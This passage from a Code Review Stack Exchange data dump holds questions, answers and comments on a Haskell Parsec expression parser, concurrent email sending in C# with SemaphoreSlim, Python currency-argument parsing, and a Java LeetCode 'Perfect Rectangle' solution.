[x,y]\n</code></pre>\n<p>Your choice of data type has made this slightly more complicated than usual. If <code>BAnd</code> and <code>BOr</code> were binary constructors instead (which is the more usual representation for binary operators in ADTs), like so:</p>\n<pre><code>data BoolExp a =\n ...\n | BAnd (BoolExp a)\n | BOr (BoolExp a)\n ...\n</code></pre>\n<p>then <code>boolExpr</code> would look something like this:</p>\n<pre><code>boolExpr :: Integral a => Parser (BoolExp a)\nboolExpr = buildExpressionParser table boolTerm <?> "boolean expression"\n where table =\n [ [prefix BNot "!"]\n , [binary BAnd "&"]\n , [binary BOr "|"]\n ]\n prefix op str = Prefix (op <$ symbol str)\n binary op str = Infix (op <$ symbol str) AssocLeft\n</code></pre>\n<p>We can rewrite the parser for <code>CntRegex</code> similarly. The <code>countTerm</code> parser parses atoms, as well as bracketed boolean expressions and parenthesized count expressions:</p>\n<pre><code>countTerm :: Integral a => Parser (CntRegex (BoolExp a))\ncountTerm = CEmpty <$ reserved "empty"\n <|> CEpsilon <$ reserved "epsilon"\n <|> brackets (CChar <$> boolExpr)\n <|> parens countExpr\n <?> "count term"\n</code></pre>\n<p>Again, no <code>try</code>s are needed here. If any of these parsers fails after consuming input, no subsequent parser is going to work, so <code>try</code>ing is pointless.</p>\n<p>The corresponding <code>countExpr</code> parser is table based, though it uses several tricks:</p>\n<pre><code>countExpr :: Integral a => Parser (CntRegex (BoolExp a))\ncountExpr = buildExpressionParser table countTerm <?> "count expression"\n where table =\n [ [ Postfix postfix ]\n , [ Infix (pure cconcat') AssocRight ]\n , [ Infix (cunion' <$ symbol "|") AssocRight]\n ]\n postfix = foldr1 (flip (.)) <$> many1 (CStar <$ symbol "*" <|> braces countSpec)\n cconcat' x (CConcat ys) = CConcat (x:ys)\n cconcat' (CConcat xs) y = CConcat (xs ++ [y])\n cconcat' x y = CConcat [x,y]\n cunion' x (CUnion ys) = CUnion (x:ys)\n cunion' (CUnion xs) y = CUnion (xs ++ [y])\n cunion' x y = CUnion [x,y]\n countSpec = do\n -- there's always a lower bound\n lo <- fromIntegral <$> natural\n -- there might be an upper bound, possibly empty/unbounded\n hi <- optionMaybe (symbol "," *> optionMaybe (fromIntegral <$> natural))\n case hi of\n -- no comma/bound\n Nothing -> pure $ CCount lo lo\n -- comma but no bound\n Just Nothing -> pure $ CCountUnbounded lo\n -- comma and upper bound\n Just (Just hi') -> pure $ CCount lo hi'\n</code></pre>\n<p>Notes:</p>\n<ul>\n<li>The precedence here is any number of postfix operators bind most tightly, followed by juxtaposition (<code>CConcat</code>) and finally unions.</li>\n<li>An intentional limitation of Parsec's table-based expression parsers is that they won't parse multiple postfix operators at the same precedence, so you need to combine them into a single parser (the <code>postfix</code> helper here) that parses them all and turns them into the right composition of functions to apply to the postfixed term.</li>\n<li>Juxtaposition is implemented by an entry in the table that parses nothing <code>(pure concat')</code>.</li>\n<li>Note how I combined your multiple count specification parsers into a single do-block. If you kept them as distinct alternatives instead, this would be the one place in your parser where it would be legitimate to use <code>try</code>.</li>\n</ul>\n<p>All that's enough to parse pretty complicated expressions with no parentheses required:</p>\n<pre><code>> parseTest parseRegex "empty{15} empty{3,4}* | [true & !15]{8,}"\n(((empty){ 15, 15 }) (((empty){ 3, 4 }) *)) | (([(true) & (! (15))]){ 8, })\n</code></pre>\n<p>I haven't done exhaustive tests though, so there may be a few lingering bugs</p>\n<h2>Pretty Printing with Precedence</h2>\n<p>On the <code>Show</code> side, you can make use of <code>showsPrec</code> to simplify the printed representation by avoiding unnecessary parentheses. The precedence values here are mostly arbitrary. I've tried to match them up to the precedence of similar Haskell operators, where possible. Again, I haven't done exhaustive testing, so there may be some bugs.</p>\n<pre><code>showAtom d = showParen (d > 10) . showString\nshowPolyOp d d' op xs = showParen (d > d') $ foldr1 (.) $ intersperse (showString op) $ map (showsPrec (d'+1)) xs\n\ninstance Show a => Show (BoolExp a) where\n showsPrec d BTrue = showAtom d "true"\n showsPrec d BFalse = showAtom d "false"\n showsPrec d (BSelect a) = showsPrec d a\n showsPrec d (BNot a) = showParen (d > 9) $ showString "!" . showsPrec 10 a\n showsPrec d (BAnd as) = showPolyOp d 3 " & " as\n showsPrec d (BOr as) = showPolyOp d 2 " | " as\n\ninstance Show a => Show (CntRegex a) where\n showsPrec d CEmpty = showAtom d "empty"\n showsPrec d CEpsilon = showAtom d "epsilon"\n showsPrec d (CChar a) = showString "[" . showsPrec 0 a . showString "]"\n showsPrec d (CUnion as) = showPolyOp d 2 " | " as\n showsPrec d (CConcat as) = showPolyOp d 3 " " as\n showsPrec d (CStar a) = showParen (d > 9) $ showsPrec 9 a . showString "*"\n showsPrec d (CCount i j a) = showParen (d > 9) $ showsPrec 9 a\n . showString "{" . showsPrec 0 i . showString "," . showsPrec 0 j . showString "}"\n showsPrec d (CCountUnbounded i a) = showParen (d > 9) $ showsPrec 9 a\n . showString "{" . showsPrec 0 i . showString ",}"\n</code></pre>\n<p>Be warned that many people consider this sort of thing an abuse of the <code>Show</code> type class. The idea is that <code>Show</code> is supposed to produce a <em>Haskell</em>-readable representation of your data, not necessarily a human-readable one. It might be better practice to define a separate pretty-printing type class, as I've done below.</p>\n<h2>Full Program</h2>\n<p>Here's my full version of the program:</p>\n<pre><code>import Data.List (intersperse)\nimport Text.Parsec\nimport Text.Parsec.String\nimport Text.Parsec.Expr\nimport qualified Text.Parsec.Token as P\nimport Text.Parsec.Language (emptyDef)\n\ndata Regex a\n = Empty\n | Epsilon\n | Char a\n | Union [Regex a]\n | Concat [Regex a]\n | Star (Regex a)\n deriving Show\n\ndata CntRegex a\n = CEmpty\n | CEpsilon\n | CChar a\n | CUnion [CntRegex a]\n | CConcat [CntRegex a]\n | CStar (CntRegex a)\n | CCount Int Int (CntRegex a)\n | CCountUnbounded Int (CntRegex a)\n deriving (Show)\n\ndata BoolExp a\n = BTrue\n | BFalse\n | BSelect a\n | BNot (BoolExp a)\n | BAnd [BoolExp a]\n | BOr [BoolExp a]\n deriving (Show, Eq)\n\npprintAtom d = showParen (d > 10) . showString\npprintPolyOp d d' op xs = showParen (d > d') $ foldr1 (.) $ intersperse (showString op) $ map (pprintPrec (d'+1)) xs\n\nclass PPrint a where\n pprint :: a -> String\n pprint = ($ "") . pprintPrec 0\n pprintPrec :: Int -> a -> ShowS\n\ninstance Show a => PPrint (BoolExp a) where\n pprintPrec d BTrue = pprintAtom d "true"\n pprintPrec d BFalse = pprintAtom d "false"\n pprintPrec d (BSelect a) = showsPrec d a\n pprintPrec d (BNot a) = showParen (d > 9) $ showString "!" . pprintPrec 10 a\n pprintPrec d (BAnd as) = pprintPolyOp d 3 " & " as\n pprintPrec d (BOr as) = pprintPolyOp d 2 " | " as\n\ninstance PPrint a => PPrint (CntRegex a) where\n pprintPrec d CEmpty = pprintAtom d "empty"\n pprintPrec d CEpsilon = pprintAtom d "epsilon"\n pprintPrec d (CChar a) = showString "[" . pprintPrec 0 a . showString "]"\n pprintPrec d (CUnion as) = pprintPolyOp d 2 " | " as\n pprintPrec d (CConcat as) = pprintPolyOp d 3 " " as\n pprintPrec d (CStar a) = showParen (d > 9) $ pprintPrec 9 a . showString "*"\n pprintPrec d (CCount i j a) = showParen (d > 9) $ pprintPrec 9 a\n . showString "{" . showsPrec 0 i . showString "," . showsPrec 0 j . showString "}"\n pprintPrec d (CCountUnbounded i a) = showParen (d > 9) $ pprintPrec 9 a\n . showString "{" . showsPrec 0 i . showString ",}"\n\nlexer = P.makeTokenParser emptyDef\n\nparens = P.parens lexer\nbraces = P.braces lexer\nbrackets = P.brackets lexer\nsymbol = P.symbol lexer\nnatural = P.natural lexer\nwhiteSpace = P.whiteSpace lexer\nreserved = P.reserved lexer\n\nboolTerm :: Integral a => Parser (BoolExp a)\nboolTerm = BTrue <$ reserved "true"\n <|> BFalse <$ reserved "false"\n <|> BSelect . fromIntegral <$> natural\n <|> parens boolExpr\n <?> "boolean term"\n\nboolExpr :: Integral a => Parser (BoolExp a)\nboolExpr = buildExpressionParser table boolTerm <?> "boolean expression"\n where table =\n [ [prefix BNot "!"]\n , [binary band' "&"]\n , [binary bor' "|"]\n ]\n prefix op str = Prefix (op <$ symbol str)\n binary op str = Infix (op <$ symbol str) AssocRight\n band' x (BAnd ys) = BAnd (x:ys)\n band' (BAnd xs) y = BAnd (xs ++ [y])\n band' x y = BAnd [x,y]\n bor' x (BOr ys) = BOr (x:ys)\n bor' (BOr xs) y = BOr (xs ++ [y])\n bor' x y = BOr [x,y]\n\ncountTerm :: Integral a => Parser (CntRegex (BoolExp a))\ncountTerm = CEmpty <$ reserved "empty"\n <|> CEpsilon <$ reserved "epsilon"\n <|> brackets (CChar <$> boolExpr)\n <|> parens countExpr\n <?> "count term"\n\ncountExpr :: Integral a => Parser (CntRegex (BoolExp a))\ncountExpr = buildExpressionParser table countTerm <?> "count expression"\n where table =\n [ [ Postfix postfix ]\n , [ Infix (pure cconcat') AssocRight ]\n , [ Infix (cunion' <$ symbol "|") AssocRight]\n ]\n postfix = foldr1 (flip (.)) <$> many1 (CStar <$ symbol "*" <|> braces countSpec)\n cconcat' x (CConcat ys) = CConcat (x:ys)\n cconcat' (CConcat xs) y = CConcat (xs ++ [y])\n cconcat' x y = CConcat [x,y]\n cunion' x (CUnion ys) = CUnion (x:ys)\n cunion' (CUnion xs) y = CUnion (xs ++ [y])\n cunion' x y = CUnion [x,y]\n countSpec = do\n -- there's always a lower bound\n lo <- fromIntegral <$> natural\n -- there might be an upper bound, possibly empty/unbounded\n hi <- optionMaybe (symbol "," *> optionMaybe (fromIntegral <$> natural))\n case hi of\n -- no comma/bound\n Nothing -> pure $ CCount lo lo\n -- comma but no bound\n Just Nothing -> pure $ CCountUnbounded lo\n -- comma and upper bound\n Just (Just hi') -> pure $ CCount lo hi'\n\nparseRegex :: Integral a => Parser (CntRegex (BoolExp a))\nparseRegex = whiteSpace *> countExpr <* eof\n\nmain = do\n -- I think this tests all the constructors\n let ex1 = "empty{1}** | epsilon*{2,3} [true|!false&15]{4,}*"\n let Right val1 = parse parseRegex "<string>" ex1\n print (val1 :: CntRegex (BoolExp Int))\n putStrLn . pprint $ val1\n -- A test for uniform handling of associativity\n print $ Right (BOr (replicate 3 (BAnd (map BSelect [5::Int,6,7]))))\n == parse boolExpr "" "5 & 6 & 7 | (5 & 6) & 7 | 5 & (6 & 7)"\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T04:56:34.253",
"Id": "263890",
"ParentId": "263877",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T22:09:17.070",
"Id": "263877",
"Score": "1",
"Tags": [
"parsing",
"haskell"
],
"Title": "Suggestions on making this parsing/unparsing format more human-friendly"
}
|
263877
|
<p>I'm trying to send any number of emails in the shortest amount of time using .NET 5.0?</p>
<p>I've been playing with something like the following but I am not sure if it is optimal or even correct as there are a number of elements I don't understand.</p>
<pre><code>public async Task SendEmailAsync(string subject, string htmlMessage,
IEnumerable<string> recipients, string? attachment)
{
using SemaphoreSlim semaphore = new(10, 10);
await Task.WhenAll(recipients.Select(async recipient =>
{
await semaphore.WaitAsync();
try
{
return SendEmailAsync(subject, htmlMessage, recipient, attachment);
}
finally
{
semaphore.Release();
}
}));
}
</code></pre>
<p>Can someone clarify if this is correct, or let me know if they know a better approach?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T22:40:34.130",
"Id": "521076",
"Score": "1",
"body": "To the best of your knowledge, does the code work as intended? If not, then the post is [off-topic](https://codereview.stackexchange.com/help/on-topic) - note that the help page states \"_If you are looking for feedback on a specific **working** piece of code...then you are in the right place!_\""
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T23:55:02.090",
"Id": "521089",
"Score": "0",
"body": "What makes you think the email client can handle parallel requests? I’d assume they are all just queued up and processed sequentially there anyway."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T01:18:13.983",
"Id": "521093",
"Score": "0",
"body": "@Aganju: Most of the time it takes to send an email is spent waiting for the server to respond. It would be stupid to queue them all up. At any rate, I'm not responsible for if mail server designers make stupid designs. I'm just responsible that my code doesn't have a stupid design."
}
] |
[
{
"body": "<p>Your approach can result in a huge number of tasks active at any given time, each of them representing load on the machine's IO resources. You need a way to limit the number of tasks.</p>\n<p>Your approach also abuses the Select() call pretty badly. If nothing else, it makes the code very hard to read.</p>\n<p>Here is a demonstration using a fixed number of tasks to simulate sending an email to 1000 recipients. Note that access to the shared Queue<> does not need to be synchronized in this example, but it may be needed depending on the API call used in practice, so I added synchronization. A simple lock {} suffices.</p>\n<pre><code>private static readonly Random random = new Random();\nprivate static readonly Queue<string> recipients = new Queue<string>();\n\nprotected override async Task Run()\n{\n for (int i = 1; i <= 1000; ++i)\n {\n recipients.Enqueue($"recipient_{i:00000}@emaildomain.com");\n }\n\n List<Task> tasks = new List<Task>();\n\n for (int i = 1; i <= 50; ++i)\n {\n tasks.Add(SendEmails($"Task {i:00000}"));\n }\n\n await Task.WhenAll(tasks);\n}\n\nprivate static async Task SendEmails(string taskName)\n{\n for (; ;)\n {\n string recipient;\n\n lock (recipients)\n {\n if (recipients.Count == 0)\n {\n break;\n }\n\n recipient = recipients.Dequeue();\n }\n\n Debug.WriteLine($"{taskName}: Sending to {recipient}...");\n await SendEmailAsync(recipient);\n Debug.WriteLine($"{taskName}: Sending to {recipient} complete");\n }\n\n Debug.WriteLine($"{taskName}: No more recipients; quitting");\n}\n\nprivate static async Task SendEmailAsync(string recipient)\n{\n // Simulate sending an email with random network latency.\n await Task.Delay(random.Next(100, 2000));\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T23:01:09.033",
"Id": "521077",
"Score": "0",
"body": "`Queue<string>` isn't thread-safe and might be damaged if async calls performed not on single-threaded `SynchronizationContext`. _everything happens on one thread_ I'm not sure if that's true."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T23:08:20.953",
"Id": "521079",
"Score": "0",
"body": "@aepot good point. Everything happens in one thread in this example, but you are correct that continuations may be scheduled on different threads depending on how the API was implemented. I'll edit to add a lock."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T23:16:01.090",
"Id": "521083",
"Score": "0",
"body": "`ConcurrentQueue` may be faster than `lock`. Also you may update the text."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T23:20:16.967",
"Id": "521085",
"Score": "1",
"body": "@aepot it probly doesn't matter. The queue is just there to support the task concurrency example I threw together. OP may not go that route. The important part is how to limit the number pf tasks without using a SemaphoreSlim."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T23:27:59.560",
"Id": "521086",
"Score": "0",
"body": "Thanks for the example. I created a project from it and tested it out. In the end (and aside from the queue concurrency issue), it felt a little complex. With @aepot's approach, it seems to be working right by changing only one keyword."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T23:30:22.930",
"Id": "521088",
"Score": "1",
"body": "Ok, but I'm not sure that avoiding the semaphore makes the code more efficient. Anyway I like the solution. Will make some benchmarks to ensure."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T01:30:14.353",
"Id": "521094",
"Score": "0",
"body": "@aepot: That comment mentioned you but was not directed at you, as evidenced by the fact that I marked your answer as the accepted answer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T15:31:27.487",
"Id": "521147",
"Score": "0",
"body": "I did some simple bench marking. OP's approach does not scale linearly with larger numbers of recipients, where as mine appears to be very linear. However, I was only able to make this comparison in a reasonable amount of time by using millions of recipients and by completely removing the delay. In the real world, performance will be affected overwhelmingly by email sending elapsed time. It would take hours to benchmark. With 10000 recipients and 50ms delay, performance is identical."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T22:40:10.160",
"Id": "263879",
"ParentId": "263878",
"Score": "2"
}
},
{
"body": "<p>Nope, this code doesn't respect the semaphore. It just send all emails without concurrency degree limiting by semaphore. Because <code>return SendEmailAsync</code> returns right after <code>Task</code> object is received not the method finished, then semaphore is released immediately. Thus semaphore thottles only requests creation which I assume is fast.</p>\n<p>The fix is <code>await</code> in <code>try</code> clause.</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public async Task SendEmailAsync(string subject, string htmlMessage,\n IEnumerable<string> recipients, string? attachment)\n{\n using SemaphoreSlim semaphore = new(10);\n await Task.WhenAll(recipients.Select(recipient =>\n SendEmailAsync(subject, htmlMessage, recipient, attachment, semaphore)));\n}\n\nprivate async Task SendEmailAsync(string subject, string htmlMessage,\n string recipient, string? attachment, SemaphoreSlim semaphore)\n{\n await semaphore.WaitAsync();\n try\n {\n await SendEmailAsync(subject, htmlMessage, recipient, attachment);\n }\n finally\n {\n semaphore.Release();\n }\n}\n</code></pre>\n<p>The rest part of the code looks fine for me. Probably I can only suggest to use OOP to encapsulate data for bulk emailing into some class. It would make furure code improvements easier.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T23:02:41.797",
"Id": "521078",
"Score": "0",
"body": "Would this not be the same as adding the `await` keyword before calling `SendEmailAsync()` in my code?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T23:08:32.250",
"Id": "521080",
"Score": "0",
"body": "@JonathanWood probably but you can't return `void` in `Select`, right? I'm not strong in lambdas syntax without IDE, just wrote the answer from mobile. Anyway, the method-like approach isn't slower than lambda in performance."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T23:14:14.513",
"Id": "521082",
"Score": "0",
"body": "@JonathanWood try changing `return` to `await`. If it will compile successful then it's done."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T23:17:57.763",
"Id": "521084",
"Score": "1",
"body": "Yes, that seems to work. A lambda doesn't necessarily return anything."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T22:54:41.203",
"Id": "263882",
"ParentId": "263878",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263882",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T22:26:39.920",
"Id": "263878",
"Score": "1",
"Tags": [
"c#",
"multithreading",
".net",
".net-5",
"semaphore"
],
"Title": "Using multithreading to send multiple emails"
}
|
263878
|
<p>The input for price() would be STRINGS, as you see below. If the string starts with "-" I would like what follows to be stored in fiat_name and then retrieve the symbol from _KNOWN_FIAT_SYMBOLS. "--rub" (EXAMPLE) could be at any position in the list passed through price()</p>
<p>If the optional fiat_name does not exist in _KNOWN_FIAT_SYMBOLS i would like it to default to USD/$</p>
<p>I would like the code optimized and cleaned/minimized. I am trying to practice clean and read-able code.</p>
<pre><code>import re
_KNOWN_FIAT_SYMBOLS = {"USD":"$", "RUB":"₽"} # this will be populated with more symbols/pairs later
def price(*arguments):
# default to USD/$
fiat_name = "USD"
arguments = list(arguments)
cryptos = []
for arg in arguments:
arg = arg.strip()
if not arg:
continue
for part in arg.split(","):
if part.startswith("-"):
fiat_name = part.upper().lstrip("-")
continue
crypto = re.sub("[^a-z0-9]", "", part.lower())
if crypto not in cryptos:
cryptos.append(crypto)
if not cryptos:
cryptos.append("btc")
fiat_symbol = _KNOWN_FIAT_SYMBOLS.get(fiat_name)
if not fiat_symbol:
fiat_name = "USD"
fiat_symbol = "$"
print(f"{cryptos} to: {fiat_name}{fiat_symbol}")
price("usd", "usdc", "--rub") # ['usd', 'usdc'] to: RUB₽ (becuase of the optional --rub)
price("usd,usdc,eth", "btc", "-usd") # ['usd', 'usdc', 'eth', 'btc'] to: USD$ (becuase of the optional --usd)
price("usd", "usdc,btc", "-xxx") #['usd', 'usdc', 'btc'] to: USD$ (because xxx does not exist in _KNOWN_FIAT_SYMBOLS
price("usd,usdc,eth", "btc") # ['usd', 'usdc', 'eth', 'btc'] to: USD$ (becuase no optional fiat_name was given)
price("usd,--rub,eth", "btc") # ['usd', 'eth', 'btc'] to: RUB₽ (becuase of the optional --rub)
price("--rub") # ['btc'] to: RUB₽ (becuase of the optional --rub and the cryptos is empty)
price("") # ['btc'] to: USD$ (becuase of the default USD and the cryptos is empty)
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:29:38.683",
"Id": "521127",
"Score": "1",
"body": "Welcome to Code Review! Please [edit] your question so that the title describes the *purpose* of the code, rather than its *mechanism*. We really need to understand the motivational context to give good reviews. Thanks!"
}
] |
[
{
"body": "<p><strong>Return data</strong>. Algorithmic code should return data, not print – at least\nwhenever feasible. It's better for testing, debugging, refactoring, and\nprobably other reasons. At a minimum, return a plain tuple or dict. Even better\nwould be a meaningful data object of some kind (e.g., <code>namedtuple</code>,\n<code>dataclass</code>, or <code>attrs</code> class). Print elsewhere, typically in\na function operating at the outer edge of your program.</p>\n<p><strong>Function <code>*args</code> are already independent tuples</strong>. That means you don't need\n<code>arguments = list(arguments)</code>.</p>\n<p><strong>Algorithmic readability</strong>. Your current code is generally fine: I had no\ngreat difficulty figuring out how it was supposed to work. However, the parsing\nrules themselves have a tendency to require an annoying amount of conditional\nlogic: I was not happy with the first draft or two I sketched out. But I did\ncome up with an alternative that I ended up liking better: one function\nfocuses on parsing just the currency names (a fairly narrow, textual task); and\nthe other part deals with the annoyances of missing/unknown data. Note that\nboth functions return meaningful data objects – an important tool in writing\nmore readable code – and the second function handles missing/unknown values\nwith a "declarative" style. Overall, this version strikes me as somewhat more\nreadable. If you need to optimize for raw speed, it's probably slower.</p>\n<pre><code>import re\nfrom collections import namedtuple\n\n_KNOWN_FIAT_SYMBOLS = {"USD":"$", "RUB":"₽"}\n\nFiatCryptos = namedtuple('FiatCryptos', 'name symbol cryptos')\nCurrency = namedtuple('Currency', 'name is_fiat')\n\ndef price(*arguments):\n currencies = list(parse_currencies(arguments))\n cryptos = [c.name for c in currencies if not c.is_fiat] or ['btc']\n fiats = [c.name.upper() for c in currencies if c.is_fiat] or ['USD']\n f = fiats[0]\n syms = _KNOWN_FIAT_SYMBOLS\n name, sym = (f, syms[f]) if f in syms else ('USD', '$')\n return FiatCryptos(name, sym, cryptos)\n\ndef parse_currencies(arguments):\n for arg in arguments:\n for part in arg.strip().split(','):\n if part:\n is_fiat = part.startswith('-')\n name = re.sub('[^a-z0-9]', '', part.lower())\n yield Currency(name, is_fiat)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T07:35:07.527",
"Id": "263894",
"ParentId": "263887",
"Score": "9"
}
}
] |
{
"AcceptedAnswerId": "263894",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T01:26:08.553",
"Id": "263887",
"Score": "6",
"Tags": [
"python",
"parsing"
],
"Title": "Parsing input and output currency names"
}
|
263887
|
<p>While submitting this question i found that <a href="https://codereview.stackexchange.com/questions/221875/leetcode-perfect-rectangle">someone already made up this question in python</a>, here is my java implementation of the <a href="https://leetcode.com/problems/perfect-rectangle/" rel="nofollow noreferrer">Perfect-Rectangle-Challange</a></p>
<h2>challenge:</h2>
<blockquote>
<p>Given an array rectangles where rectangles[i] = [xi, yi, ai, bi] represents an axis-aligned rectangle. The bottom-left point of the rectangle is (xi, yi) and the top-right point of it is (ai, bi).</p>
</blockquote>
<blockquote>
<p>Return true if all the rectangles together form an exact cover of a rectangular region.</p>
</blockquote>
<p>(for more details follow the link above)</p>
<p><strong>Note: my implementation requires at least Java 11</strong></p>
<h2>entry class Solution (given from leetcode):</h2>
<pre><code>/**
* https://leetcode.com/problems/perfect-rectangle/
*/
public class Solution {
//Assesment: given method within given class from leetcode - this interface may not be modified
public boolean isRectangleCover(int[][] input) {
InputProvider inputProvider = new InputProvider();
inputProvider.handle(input);
ArrayDeque<Rectangle> rectangles = inputProvider.getRectangles();
PerfectRectangleChecker perfectRectangleChecker = new PerfectRectangleChecker(inputProvider.getBounds());
return perfectRectangleChecker.check(rectangles);
}
</code></pre>
<h2>class Point</h2>
<pre><code>public class Point {
public final int x;
public final int y;
public Point(int x, int y){
this.x = x;
this.y = y;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Point point = (Point) o;
return x == point.x && y == point.y;
}
@Override
public int hashCode() {
return Objects.hash(x, y);
}
}
</code></pre>
<h2>class Rectangle</h2>
<pre><code>public class Rectangle {
public final Point[] points;
public final int area;
public Rectangle(int x0, int y0, int x1, int y1) {
points = new Point[4];
points[0] = new Point(x0,y0);
points[1] = new Point(x1,y0);
points[2] = new Point(x0,y1);
points[3] = new Point(x1,y1);
area = (x1-x0)*(y1-y0);
}
public Rectangle(int[] input) {
this(input[0],input[1],input[2],input[3]);
}
}
</code></pre>
<h2>class InputProvider</h2>
<pre><code>public class InputProvider {
private final ArrayDeque<Rectangle> rectangles = new ArrayDeque<>();
private int boundsX0 = Integer.MAX_VALUE;
private int boundsY0 = Integer.MAX_VALUE;
private int boundsX1 = Integer.MIN_VALUE;
private int boundsY1 = Integer.MIN_VALUE;
public void handle(int[][] input) {
Arrays.stream(input).forEach(this::processInput);
}
public void processInput(int[] input){
rectangles.add(new Rectangle(input));
updateBounds(input);
}
public ArrayDeque<Rectangle> getRectangles() {
return rectangles;
}
public Rectangle getBounds() {
return new Rectangle(boundsX0, boundsY0, boundsX1, boundsY1);
}
private void updateBounds(int[] input) {
boundsX0 = Math.min(input[0], boundsX0);
boundsY0 = Math.min(input[1], boundsY0);
boundsX1 = Math.max(input[2], boundsX1);
boundsY1 = Math.max(input[3], boundsY1);
}
}
</code></pre>
<h2>class PerfectRectangleChecker</h2>
<pre><code>public class PerfectRectangleChecker {
private final HashSet<Point> disjunctiveCorners = new HashSet<>();
private final Rectangle bounds;
private int area;
public PerfectRectangleChecker(Rectangle bounds) {
this.bounds = bounds;
}
public boolean check(ArrayDeque<Rectangle> rectangles) {
for (Rectangle r : rectangles) {
processRectangles(r);
}
if (isAreaMismatching()){
return false;
}
if (boundsMismatchDisjunctivePoints()){
return false;
}
if(disjunctiveCornersMismatchAmount()){
return false;
}
//not simplified return statement to emphasize the three checks performed
return true;
}
private boolean disjunctiveCornersMismatchAmount() {
return disjunctiveCorners.size() != 4;
}
private boolean boundsMismatchDisjunctivePoints() {
return Arrays.stream(bounds.points).anyMatch(Predicate.not(disjunctiveCorners::contains));
}
private boolean isAreaMismatching() {
return area != bounds.area;
}
private void processRectangles(Rectangle r) {
area = area + r.area;
Arrays.stream(r.points).forEach(this::processDisjunctiveCorners);
}
private void processDisjunctiveCorners(Point p) {
if (disjunctiveCorners.contains(p)) {
disjunctiveCorners.remove(p);
} else {
disjunctiveCorners.add(p);
}
}
}
</code></pre>
<h2>Tests:</h2>
<pre><code>public class SolutionTest {
final static int[][] VALID_DATA = {{1, 1, 3, 3}, {3, 1, 4, 2}, {3, 2, 4, 4}, {1, 3, 2, 4}, {2, 3, 3, 4}};
final static int[][] INVAILD_DATA = {{0,0,1,1},{0,0,2,1},{1,0,2,1},{0,2,2,3}};
@Test
public void testValidInput() {
Solution solution = new Solution();
Assert.assertTrue( solution.isRectangleCover(VALID_DATA) );
}
@Test
public void testInvalidInput() {
Solution solution = new Solution();
Assert.assertFalse(solution.isRectangleCover(INVAILD_DATA) );
}
//more test after more data is provided
}
</code></pre>
|
[] |
[
{
"body": "<p>Some minor changes could be applied to the code, for example the following lines :</p>\n<pre><code>ArrayDeque<Rectangle> rectangles = inputProvider.getRectangles();\npublic ArrayDeque<Rectangle> getRectangles() { ... }\nprivate final HashSet<Point> disjunctiveCorners = new HashSet<>();\npublic boolean check(ArrayDeque<Rectangle> rectangles) { ... }\n</code></pre>\n<p>The could be rewritten using the <a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/Deque.html\" rel=\"nofollow noreferrer\"><code>Deque</code></a> interface and the <a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/Set.html\" rel=\"nofollow noreferrer\"><code>Set</code></a> interface :</p>\n<pre><code>Deque<Rectangle> rectangles = inputProvider.getRectangles();\npublic Deque<Rectangle> getRectangles() { ... }\nprivate Set<Point> disjunctiveCorners = new HashSet<>();\npublic boolean check(Deque<Rectangle> rectangles) { ... }\n</code></pre>\n<p>I see no other things I would change in your code, one reflection about the algorithm : it seems me that to see if all the rectangles together form an exact cover of a rectangular region you could add the areas of the rectangles and check if the total area is equal to the rectangle having the most sw corner and the most ne corner between all rectangles. In case of one gap between two rectangles the total area would be minor than the perfect rectangle area, in case of intersection the total area would be greater.</p>\n<p>Following this idea I rewrote the algorithm in this way :</p>\n<pre><code>public class Solution {\n private static int calculateArea(int[] rectangle) {\n\n return (rectangle[2] - rectangle[0]) * (rectangle[3] -rectangle[1]); \n }\n \n public static boolean isRectangleCover(int[][] rectangles) {\n int x0 = Integer.MAX_VALUE;\n int y0 = Integer.MAX_VALUE;\n int x1 = Integer.MIN_VALUE;\n int y1 = Integer.MIN_VALUE;\n \n int totalArea = 0;\n for (int[] rectangle : rectangles) {\n x0 = Math.min(rectangle[0], x0);\n y0 = Math.min(rectangle[1], y0);\n x1 = Math.max(rectangle[2], x1);\n y1 = Math.max(rectangle[3], y1);\n totalArea += calculateArea(rectangle);\n }\n \n return totalArea == calculateArea(new int[]{x0, y0, x1, y1});\n }\n\n}\n</code></pre>\n<p>I have updated the 